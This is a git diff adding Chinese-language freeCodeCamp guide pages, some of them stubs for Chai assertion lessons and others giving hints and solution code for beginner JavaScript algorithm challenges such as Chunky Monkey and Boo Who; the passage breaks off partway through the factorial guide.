--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Array Contains an Item
+localeTitle: 测试数组是否包含项目
+---
+## 测试数组是否包含项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md
new file mode 100644
index 0000000000..5dcb577985
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Object has a Property
+localeTitle: 测试对象是否具有属性
+---
+## 测试对象是否具有属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md
new file mode 100644
index 0000000000..3172caa673
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Object is an Instance of a Constructor
+localeTitle: 测试对象是否是构造函数的实例
+---
+## 测试对象是否是构造函数的实例
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md
new file mode 100644
index 0000000000..4292205f77
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if One Value is Below or At Least as Large as Another
+localeTitle: 测试一个值是否低于或低至另一个值
+---
+## 测试一个值是否低于或低至另一个值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md
new file mode 100644
index 0000000000..82738e504b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Assert.isOK and Assert.isNotOK
+localeTitle: 使用Assert.isOK和Assert.isNotOK
+---
+## 使用Assert.isOK和Assert.isNotOK
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md
new file mode 100644
index 0000000000..81280b3b83
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Regular Expressions to Test a String
+localeTitle: 使用正则表达式测试字符串
+---
+## 使用正则表达式测试字符串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md
new file mode 100644
index 0000000000..43e27e78a8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Double Equals to Assert Equality
+localeTitle: 使用Double Equals来断言平等
+---
+## 使用Double Equals来断言平等
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md
new file mode 100644
index 0000000000..542356ed21
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Triple Equals to Assert Strict Equality
+localeTitle: 使用Triple Equals断言严格平等
+---
+## 使用Triple Equals断言严格平等
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md
new file mode 100644
index 0000000000..ecf90eb09e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md
@@ -0,0 +1,70 @@
+---
+title: Boo Who
+localeTitle: 嘘谁
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+这个程序非常简单，诀窍就是了解布尔基元是什么。这些计划需要一个真实或错误的答案。
+
+#### 相关链接
+
+*   [布尔](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   您需要检查参数的类型以查看它是否为布尔值。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   要检查参数的类型，可以使用`typeof` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   由于必须返回true或false，因此可以使用if语句或只返回用于if语句的布尔值。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function booWho(bool) { 
+      return typeof bool === 'boolean'; 
+    } 
+ 
+    // test here 
+    booWho(null); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnK/0)
+
+# 代码说明：
+
+使用运算符`typeof`来检查变量是否是布尔值。如果是，它将返回`true` 。否则，如果它是任何其他类型，它将返回`false` 。
+
+#### 相关链接
+
+*   使用typeof
+*   [类型](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md
new file mode 100644
index 0000000000..f90c330451
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md
@@ -0,0 +1,220 @@
+---
+title: Chunky Monkey
+localeTitle: 矮胖的猴子
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/a/aadd6bead83ab7d79a795c326f005a89e6ad81f5.png)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们对此算法的目标是将`arr` （第一个参数）拆分为较小的数组块，其长度由`size` （第二个参数）提供。我们的代码需要传递4个绿色检查（目标）才能完成此算法：
+
+1.  `(['a', 'b', 'c', 'd'], 2)`预期为`[['a', 'b'], ['c', 'd']]`
+2.  `([0, 1, 2, 3, 4, 5], 3)`预计`[[0, 1, 2], [3, 4, 5]]`
+3.  `([0, 1, 2, 3, 4, 5], 2)`预计`[[0, 1], [2, 3], [4, 5]]`
+4.  `([0, 1, 2, 3, 4, 5], 4)`预计`[[0, 1, 2, 3], [4, 5]]`
+
+#### 相关链接
+
+*   [的Array.push（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+上面的链接建议使用`Array.push()` ，所以让我们首先创建一个新的数组来存储我们很快会有这样的小数组：
+
+```javascript
+    var newArray = []; 
+```
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+接下来我们需要一个`for loop`来遍历`arr` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+最后，我们需要一个方法来进行实际的拆分，我们可以使用`Array.slice()`来做到这一点。这个算法的关键是理解`for loop` ， `size` ， `Array.slice()`和`Array.push()`是如何一起工作的。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+ 
+      var temp = []; 
+      var result = []; 
+ 
+      for (var a = 0; a < arr.length; a++) { 
+        if (a % size !== size - 1) 
+          temp.push(arr[a]); 
+        else { 
+          temp.push(arr[a]); 
+          result.push(temp); 
+          temp = []; 
+        } 
+      } 
+ 
+      if (temp.length !== 0) 
+        result.push(temp); 
+      return result; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/24)
+
+### 代码说明：
+
+*   首先，我们创建了两个名为`temp`和`result`空数组，我们最终会返回它们。
+*   我们的**for循环**循环直到`a`等于或大于我们测试中数组的长度。
+*   在我们的循环中，我们使用`temp.push(arr[a]);`推送到`temp` `temp.push(arr[a]);`如果`a / size`的余数不等于`size - 1` 。
+*   否则，我们推送到`temp` ，将`temp`推送到`result`变量并将`temp`重置为空数组。
+*   接下来，如果`temp`不是空数组，我们将其推送到`result` 。
+*   最后，我们返回`result`的值。
+
+#### 相关链接
+
+*   [的Array.push（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [对于循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      // Break it up. 
+      var arr2 = []; 
+      for (var i = 0; i < arr.length; i+=size) { 
+        arr2.push(arr.slice(i , i+size)); 
+      } 
+      return arr2; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/Cj9x/3)
+
+### 代码说明：
+
+*   首先，我们创建一个空数组`arr2` ，我们将存储'chunk'。
+*   for循环从零开始，每次循环都按`size`递增，并在达到`arr.length`时停止。
+*   请注意，此for循环不会循环遍历`arr` 。相反，我们使用循环生成数字，我们可以将其用作索引，以在正确的位置切割数组。
+*   在我们的循环中，我们使用`arr.slice(i, i+size)`创建每个块，并使用`arr2.push()`将此值添加到`arr2` 。
+*   最后，我们返回`arr2`的值。
+
+#### 相关链接
+
+*   [的Array.push（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [对于循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      // Break it up. 
+      var newArr = []; 
+      var i = 0; 
+ 
+      while (i < arr.length) { 
+        newArr.push(arr.slice(i, i+size)); 
+        i += size; 
+      } 
+      return newArr; 
+    } 
+    chunkArrayInGroups(["a", "b", "c", "d"], 2); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/26)
+
+### 代码说明：
+
+*   首先，我们创建两个变量。 `newArr`是一个空数组，我们将推送到。我们还将`i`变量设置为零，以便在我们的while循环中使用。
+    
+*   我们的while循环循环，直到`i`等于或大于我们测试中数组的长度。
+    
+*   在我们的循环中，我们使用`arr.slice(i, i+size)`推送到`newArr`数组。它第一次循环，它看起来像：
+    
+    newArr.push（arr.slice（1,1 + 2））
+    
+*   在我们推送到`newArr` ，我们将`size`的变量添加到`i` 。
+    
+*   最后，我们返回`newArr`的值。
+    
+
+#### 相关链接
+
+*   [的Array.push（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [循环时](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案2：
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      var newArr = []; 
+      while (arr.length) { 
+        newArr.push(arr.splice(0,size)); 
+      } 
+      return newArr; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/579)
+
+### 代码说明：
+
+*   首先，我们创建一个变量。 `newArr`是一个空数组，我们将推送到。
+*   我们的`while`循环循环，直到我们测试中数组的长度不为0。
+*   在我们的循环中，我们使用`arr.splice(0, size)`推送到`newArr`数组。
+*   对于`while`循环的每次迭代，它会从`arr`前面删除元素的`size`数量，并将它们作为数组推送到`newArr` 。
+*   最后，我们返回`newArr`的值。
+
+#### 相关链接
+
+*   [的Array.push（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [方法Array.splice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+*   [循环时](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案3：
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      if (arr.length <= size){ 
+        return [arr]; 
+      } 
+      else { 
+        return [arr.slice(0,size)].concat(chunkArrayInGroups(arr.slice(size),size)); 
+      } 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/579)
+
+### 代码说明：
+
+*   嵌套返回小于size的数组。
+*   对于任何大于大小的数组，它都被分成两部分。第一个段嵌套并与第二个第二段连接，进行递归调用。
+
+#### 相关链接
+
+*   [递归](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+*   [方法Array.splice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md
new file mode 100644
index 0000000000..99e7d61404
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md
@@ -0,0 +1,36 @@
+---
+title: Confirm the Ending
+localeTitle: 确认结束
+---
+## 确认结束
+
+# 🌻中间代码解决方案：
+
+（声明方法）
+
+```javascript
+function confirmEnding(str, target) { 
+  // "Never give up and good luck will find you." 
+  // -- Falcor 
+ 
+  return str.slice(str.length - target.length) === target; 
+ } 
+ 
+ confirmEnding("He has to give me a new name", "name"); 
+```
+
+#### 🚀 [运行代码](https://repl.it/repls/SardonicRoundAfkgaming)
+
+# 代码说明：
+
+*   首先我们使用`slice`方法复制字符串。
+*   为了使`str`的最后一个字符等于`target`的长度，我们使用`slice`方法。
+*   `slice`方法内的第一个参数是起始索引，第二个参数是结束索引。
+*   例如`str.slice(10, 17)`会返回`give me` 。
+*   在这种情况下，我们只包含一个参数，它将复制起始索引中的所有内容。
+*   我们减去`str`的长度和`target`的长度，这样，我们将得到相当于`target`长度的最后剩余字符。
+*   最后，我们将切片的返回结果与`target`进行比较，并检查它们是否具有相同的字符。
+
+### 相关链接
+
+*   [String.prototype.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md
new file mode 100644
index 0000000000..47f1f6f84e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md
@@ -0,0 +1,67 @@
+---
+title: Convert Celsius to Fahrenheit
+localeTitle: 将摄氏温度转换为华氏温度
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+从摄氏温度转换为华氏温度的算法是以摄氏度乘以`9/5`的温度加上`32` 。
+
+您将获得一个可变**摄氏度，**表示摄氏温度。使用已定义的变量**fahrenheit**并应用算法为其分配相应的华氏温度。
+
+#### 相关链接
+
+*   [运营秩序：PEMDAS](http://www.purplemath.com/modules/orderops.htm)
+*   [操作顺序：视频](https://www.khanacademy.org/math/pre-algebra/order-of-operations/order_of_operations/v/order-of-operations)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+看看代码。有一个区域你不应该编辑。从那里开始，问问自己 - 我以前从未见过的那里使用了什么？
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+请记住**操作顺序，**请查看_链接_部分中的_链接_以获取更多信息。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function convertToF(celsius) { 
+      // Only change code below this line 
+      var fahrenheit = (celsius * (9/5)) + 32; 
+ 
+      // Only change code above this line 
+      if ( typeof fahrenheit !== 'undefined' ) { 
+      return fahrenheit; 
+      } else { 
+        return 'fahrenheit not defined'; 
+      } 
+    } 
+ 
+    // Change the inputs below to test your code 
+    convertToF(30); 
+```
+
+### 代码说明：
+
+*   声明**fahrenheit**变量。
+*   在需要时，确保使用括号（ `()` ）遵循正确的算术运算顺序。
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md
new file mode 100644
index 0000000000..3d1ee4e5ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md
@@ -0,0 +1,115 @@
+---
+title: Factorialize a Number
+localeTitle: 对一个数字进行推理
+---
+![递归](//discourse-user-assets.s3.amazonaws.com/original/2X/d/dcf927a2e8c3beb7a9c28770153821982398bd99.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+## ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+返回提供的整数的阶乘。如果整数用字母n表示，则阶乘是所有小于或等于n的正整数的乘积。
+
+因子通常用简写符号n表示！
+
+例如： `5! = 1 * 2 * 3 * 4 * 5 = 120`
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+这个从`0! = 1`开始很容易`0! = 1` ，所以你可以继续前进，只需`return 1` 。
+
+我们可以使用它作为`if`来打破我们将使用**递归函数**创建的**循环** 。它将检查你给函数的数字是否为0（这将是你的阶乘链的末尾）。函数在返回任何内容时“结束”。实际上，没有显式`return`语句的**所有**函数都将返回`undefined` 。
+
+这也是为什么**而不是** _“完成”_ ，一个函数总是被称为_“已经返回”_ 。现在这......
+
+> _现在尝试解决问题_
+
